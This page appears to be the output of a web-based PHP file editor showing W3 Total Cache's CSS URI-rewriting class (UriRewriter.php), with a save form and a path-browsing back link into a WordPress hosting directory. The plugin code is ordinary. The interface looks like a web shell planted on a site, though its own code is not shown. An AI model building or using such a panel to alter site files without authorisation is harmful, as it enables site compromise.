<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: UriRewriter.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
/**
 * File: UriRewriter.php
 *
 * NOTE: Fixes have been included in this file; look for &quot;W3TC FIX&quot;.
 */

 namespace W3TCL\Minify;
/**
 * Class Minify_CSS_UriRewriter
 * @package Minify
 */

/**
 * Rewrite file-relative URIs as root-relative in CSS files
 *
 * @package Minify
 * @author Stephen Clay &lt;steve@mrclay.org&gt;
 */
class Minify_CSS_UriRewriter {

	/**
	 * rewrite() and rewriteRelative() append debugging information here
	 *
	 * @var string
	 */
	public static $debugText = '';

	/**
	 * In CSS content, rewrite file relative URIs as root relative
	 *
	 * @param string $css
	 *
	 * @param string $currentDir The directory of the current CSS file.
	 *
	 * @param string $docRoot The document root of the web site in which
	 * the CSS file resides (default = $_SERVER['DOCUMENT_ROOT']).
	 *
	 * @param array $symlinks (default = array()) If the CSS file is stored in
	 * a symlink-ed directory, provide an array of link paths to
	 * target paths, where the link paths are within the document root. Because
	 * paths need to be normalized for this to work, use &quot;//&quot; to substitute
	 * the doc root in the link paths (the array keys). E.g.:
	 * &lt;code&gt;
	 * array('//symlink' =&gt; '/real/target/path') // unix
	 * array('//static' =&gt; 'D:\\staticStorage')  // Windows
	 * &lt;/code&gt;
	 *
	 * @return string
	 */
	public static function rewrite($css, $options) {
		self::$_prependPath = null;

		if (!isset($options['prependRelativePath']) &amp;&amp; !isset($options['currentDir']))
			return $css;

		self::$_browserCacheId = (isset($options['browserCacheId']) ?
			$options['browserCacheId'] : 0);
		self::$_browserCacheExtensions =
			(isset($options['browserCacheExtensions']) ?
			$options['browserCacheExtensions'] : array());

		// W3TC FIX: Override $_SERVER['DOCUMENT_ROOT'] if enabled in settings.
		$docroot = \W3TC\Util_Environment::document_root();

		if (isset($options['currentDir'])) {
			$document_root = (isset($options['docRoot']) ? $options['docRoot'] : $docroot);
			$symlinks = (isset($options['symlinks']) ? $options['symlinks'] : array());
			$prependAbsolutePath = (isset($options['prependAbsolutePath']) ? $options['prependAbsolutePath'] : '');
			$prependAbsolutePathCallback = (isset($options['prependAbsolutePathCallback']) ? $options['prependAbsolutePathCallback'] : '');

			$css = self::_rewrite(
				$css,
				$options['currentDir'],
				$prependAbsolutePath,
				$prependAbsolutePathCallback,
				$document_root,
				$symlinks
			);
		} elseif (isset($options['prependRelativePath'])) {
			$css = self::prepend(
				$css,
				$options['prependRelativePath']
			);
		}

		return $css;
	}

	/**
	 * Rewrite file relative URIs as root relative in CSS files
	 *
	 * @param string $css
	 *
	 * @param string $currentDir The directory of the current CSS file.
	 *
	 * @param string $prependAbsolutePath
	 *
	 * @param string $prependAbsolutePathCallback
	 *
	 * @param string $docRoot The document root of the web site in which
	 * the CSS file resides (default = $_SERVER['DOCUMENT_ROOT']).
	 *
	 * @param array $symlinks (default = array()) If the CSS file is stored in
	 * a symlink-ed directory, provide an array of link paths to
	 * target paths, where the link paths are within the document root. Because
	 * paths need to be normalized for this to work, use &quot;//&quot; to substitute
	 * the doc root in the link paths (the array keys). E.g.:
	 * &lt;code&gt;
	 * array('//symlink' =&gt; '/real/target/path') // unix
	 * array('//static' =&gt; 'D:\\staticStorage')  // Windows
	 * &lt;/code&gt;
	 *
	 * @param int $browserCacheId
	 *
	 * @param array $browserCacheExtensions
	 *
	 * @return string
	 */
	private static function _rewrite($css, $currentDir,
			$prependAbsolutePath = null, $prependAbsolutePathCallback = null,
			$docRoot = null, $symlinks = array()) {
				// W3TC FIX: Override $_SERVER['DOCUMENT_ROOT'] if enabled in settings.
				$docroot = \W3TC\Util_Environment::document_root();

		self::$_docRoot = self::_realpath(
			$docRoot ? $docRoot : $docroot
		);
		self::$_currentDir = self::_realpath($currentDir);
		self::$_prependAbsolutePath = $prependAbsolutePath;
		self::$_prependAbsolutePathCallback = $prependAbsolutePathCallback;
		self::$_symlinks = array();

		// normalize symlinks
		foreach ($symlinks as $link =&gt; $target) {
			$link = ($link === '//')
				? self::$_docRoot
				: str_replace('//', self::$_docRoot . '/', $link);
			$link = strtr($link, '/', DIRECTORY_SEPARATOR);
			self::$_symlinks[$link] = self::_realpath($target);
		}

		self::$debugText .= &quot;docRoot    : &quot; . self::$_docRoot . &quot;\n&quot;
						  . &quot;currentDir : &quot; . self::$_currentDir . &quot;\n&quot;;
		if (self::$_symlinks) {
			self::$debugText .= &quot;symlinks : &quot; . var_export(self::$_symlinks, 1) . &quot;\n&quot;;
		}
		self::$debugText .= &quot;\n&quot;;

		$css = self::_trimUrls($css);

		// rewrite
		$css = preg_replace_callback('/@import\\s+([\'&quot;])(.*?)[\'&quot;]/'
			,array(self::$className, '_processUriCB'), $css);
		$css = preg_replace_callback('/url\\(\\s*([^\\)\\s]+)\\s*\\)/'
			,array(self::$className, '_processUriCB'), $css);

		return $css;
	}

	/**
	 * In CSS content, prepend a path to relative URIs
	 *
	 * @param string $css
	 *
	 * @param string $path The path to prepend.
	 *
	 * @return string
	 */
	public static function prepend($css, $path)
	{
		self::$_prependPath = $path;

		$css = self::_trimUrls($css);

		// append
		$css = preg_replace_callback('/@import\\s+([\'&quot;])(.*?)[\'&quot;]/'
			,array(self::$className, '_processUriCB'), $css);
		$css = preg_replace_callback('/url\\(\\s*([^\\)\\s]+)\\s*\\)/'
			,array(self::$className, '_processUriCB'), $css);

		return $css;
	}

	/**
	 * Get a root relative URI from a file relative URI
	 *
	 * &lt;code&gt;
	 * Minify_CSS_UriRewriter::rewriteRelative(
	 *       '../img/hello.gif'
	 *     , '/home/user/www/css'  // path of CSS file
	 *     , '/home/user/www'      // doc root
	 * );
	 * // returns '/img/hello.gif'
	 *
	 * // example where static files are stored in a symlinked directory
	 * Minify_CSS_UriRewriter::rewriteRelative(
	 *       'hello.gif'
	 *     , '/var/staticFiles/theme'
	 *     , '/home/user/www'
	 *     , array('/home/user/www/static' =&gt; '/var/staticFiles')
	 * );
	 * // returns '/static/theme/hello.gif'
	 * &lt;/code&gt;
	 *
	 * @param string $uri file relative URI
	 *
	 * @param string $realCurrentDir realpath of the current file's directory.
	 *
	 * @param string $realDocRoot realpath of the site document root.
	 *
	 * @param array $symlinks (default = array()) If the file is stored in
	 * a symlink-ed directory, provide an array of link paths to
	 * real target paths, where the link paths &quot;appear&quot; to be within the document
	 * root. E.g.:
	 * &lt;code&gt;
	 * array('/home/foo/www/not/real/path' =&gt; '/real/target/path') // unix
	 * array('C:\\htdocs\\not\\real' =&gt; 'D:\\real\\target\\path')  // Windows
	 * &lt;/code&gt;
	 *
	 * @return string
	 */
	private static function rewriteRelative($uri, $realCurrentDir, $realDocRoot, $symlinks = array())
	{
		if ('/' === substr($uri, 0, 1)) { // root-relative
			return $uri;
		}

		// prepend path with current dir separator (OS-independent)
		$path = strtr($realCurrentDir, '/', DIRECTORY_SEPARATOR)
			. DIRECTORY_SEPARATOR . strtr($uri, '/', DIRECTORY_SEPARATOR);

		self::$debugText .= &quot;file-relative URI  : {$uri}\n&quot;
						  . &quot;path prepended     : {$path}\n&quot;;

		// &quot;unresolve&quot; a symlink back to doc root
		foreach ($symlinks as $link =&gt; $target) {
			if (0 === strpos($path, $target)) {
				// replace $target with $link
				$path = $link . substr($path, strlen($target));

				self::$debugText .= &quot;symlink unresolved : {$path}\n&quot;;

				break;
			}
		}
		// strip doc root
		$path = substr($path, strlen($realDocRoot));

		self::$debugText .= &quot;docroot stripped   : {$path}\n&quot;;

		// fix to root-relative URI
		$uri = strtr($path, '/\\', '//');
		$uri = self::removeDots($uri);

		self::$debugText .= &quot;traversals removed : {$uri}\n\n&quot;;

		return $uri;
	}

	/**
	 * Remove instances of &quot;./&quot; and &quot;../&quot; where possible from a root-relative URI
	 *
	 * @param string $uri
	 *
	 * @return string
	 */
	public static function removeDots($uri)
	{
		$uri = str_replace('/./', '/', $uri);
		// inspired by patch from Oleg Cherniy
		do {
			$uri = preg_replace('@/[^/]+/\\.\\./@', '/', $uri, 1, $changed);
		} while ($changed);
		return $uri;
	}

	/**
	 * Defines which class to call as part of callbacks, change this
	 * if you extend Minify_CSS_UriRewriter
	 *
	 * @var string
	 */
	protected static $className = '\W3TCL\Minify\Minify_CSS_UriRewriter';

	/**
	 * Get realpath with any trailing slash removed. If realpath() fails,
	 * just remove the trailing slash.
	 *
	 * @param string $path
	 *
	 * @return mixed path with no trailing slash
	 */
	protected static function _realpath($path)
	{
		$realPath = realpath($path);
		if ($realPath !== false) {
			$path = $realPath;
		}
		return rtrim($path, '/\\');
	}

	/**
	 * Directory of this stylesheet
	 *
	 * @var string
	 */
	private static $_currentDir = '';

	/**
	 * DOC_ROOT
	 *
	 * @var string
	 */
	private static $_docRoot = '';

	/**
	 * directory replacements to map symlink targets back to their
	 * source (within the document root) E.g. '/var/www/symlink' =&gt; '/var/realpath'
	 *
	 * @var array
	 */
	private static $_symlinks = array();

	/**
	 * Path to prepend
	 *
	 * @var string
	 */
	private static $_prependPath = null;

	/**
	 * @var string
	 */
	private static $_prependAbsolutePath = null;

	/**
	 * @var string
	 */
	private static $_prependAbsolutePathCallback = null;

	/**
	 * @var int
	 */
	private static $_browserCacheId = 0;

	/**
	 * @var array
	 */
	private static $_browserCacheExtensions = array();


	/**
	 * @param string $css
	 *
	 * @return string
	 */
	private static function _trimUrls($css)
	{
		return preg_replace('/
			url\\(      # url(
			\\s*
			([^\\)]+?)  # 1 = URI (assuming does not contain &quot;)&quot;)
			\\s*
			\\)         # )
		/x', 'url($1)', $css);
	}

	/**
	 * @param array $m
	 *
	 * @return string
	 */
	private static function _processUriCB($m)
	{
		// $m matched either '/@import\\s+([\'&quot;])(.*?)[\'&quot;]/' or '/url\\(\\s*([^\\)\\s]+)\\s*\\)/'
		$isImport = ($m[0][0] === '@');
		// determine URI and the quote character (if any)
		if ($isImport) {
			$quoteChar = $m[1];
			$uri = $m[2];
		} else {
			// $m[1] is either quoted or not
			$quoteChar = ($m[1][0] === &quot;'&quot; || $m[1][0] === '&quot;')
				? $m[1][0]
				: '';
			$uri = ($quoteChar === '')
				? $m[1]
				: substr($m[1], 1, strlen($m[1]) - 2);
		}
		// analyze URI
		if ( !empty($uri)
			&amp;&amp; '/' !== substr($uri, 0, 1) // Root-relative (/).
			&amp;&amp; false === strpos( $uri, '//' )  // Protocol/non-data (//).
			&amp;&amp; 'data:' !== substr( $uri, 0, 5 ) // Data protocol.
			&amp;&amp; '%' !== substr( $uri, 0, 1 ) // URL-encoded entity.
			&amp;&amp; '#' !== substr( $uri, 0, 1 ) // URL fragment.
		) {
			// URI is file-relative: rewrite depending on options
			if (self::$_prependPath === null) {
				$uri = self::rewriteRelative($uri, self::$_currentDir, self::$_docRoot, self::$_symlinks);
				if (self::$_prependAbsolutePath) {
					$prependAbsolutePath = self::$_prependAbsolutePath;
				} elseif (self::$_prependAbsolutePathCallback) {
					$prependAbsolutePath = call_user_func(self::$_prependAbsolutePathCallback, $uri);
				} else {
					$prependAbsolutePath = '';
				}

				if ($prependAbsolutePath) {
					$uri = rtrim($prependAbsolutePath, '/') . $uri;
				}
			} else {
				if (!\W3TC\Util_Environment::is_url(self::$_prependPath)) {
					$uri = self::$_prependPath . $uri;

					if (substr($uri, 0, 1) === '/') {
						$root = '';
						$rootRelative = $uri;
						$uri = $root . self::removeDots($rootRelative);
					} elseif (preg_match('@^((https?\:)?//([^/]+))/@', $uri, $m) &amp;&amp; (false !== strpos($m[3], '.'))) {
						$root = $m[1];
						$rootRelative = substr($uri, strlen($root));
						$uri = $root . self::removeDots($rootRelative);
					}
				} else {
					$parse_url = @parse_url(self::$_prependPath);

					if ($parse_url &amp;&amp; isset($parse_url['host'])) {
						$scheme = array_key_exists('scheme', $parse_url) ? $parse_url['scheme'] : '';
						$host = $parse_url['host'];
						$port = (isset($parse_url['port']) &amp;&amp; $parse_url['port'] != 80 ? ':' . (int) $parse_url['port'] : '');
						$path = (!empty($parse_url['path']) ? $parse_url['path'] : '/');
						$dir_css = preg_replace('~[^/]+$~', '', $path);
						$dir_obj = preg_replace('~[^/]+$~', '', $uri);
						$dir = (ltrim((strpos($dir_obj, '/') === 0 ? \W3TC\Util_Environment::realpath($dir_obj) : \W3TC\Util_Environment::realpath($dir_css . $dir_obj)), '/'));
						$file = basename($uri);

						$scheme_dot = ( empty( $scheme ) ? '' : $scheme . ':' );
						$uri = sprintf('%s//%s%s/%s/%s', $scheme_dot, $host,
							$port, $dir, $file);
					}
				}
			}

			if (self::$_browserCacheId &amp;&amp; count(self::$_browserCacheExtensions)) {
				$matches = null;

				if (preg_match('~\.([a-z-_]+)(\?.*)?$~', $uri, $matches)) {
					$extension = $matches[1];

					if ($extension &amp;&amp; in_array($extension, self::$_browserCacheExtensions)) {
						$uri = \W3TC\Util_Environment::remove_query($uri);
						$uri .= ( strpos( $uri, '?' ) !== false ? '&amp;' : '?' ) . self::$_browserCacheId;
					}
				}
			}
		}
		return $isImport
			? &quot;@import {$quoteChar}{$uri}{$quoteChar}&quot;
			: &quot;url({$quoteChar}{$uri}{$quoteChar})&quot;;
	}
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250804013034%2Fplugins%2Fw3-total-cache%2Flib%2FMinify%2FMinify%2FCSS'>🔙 Back</a>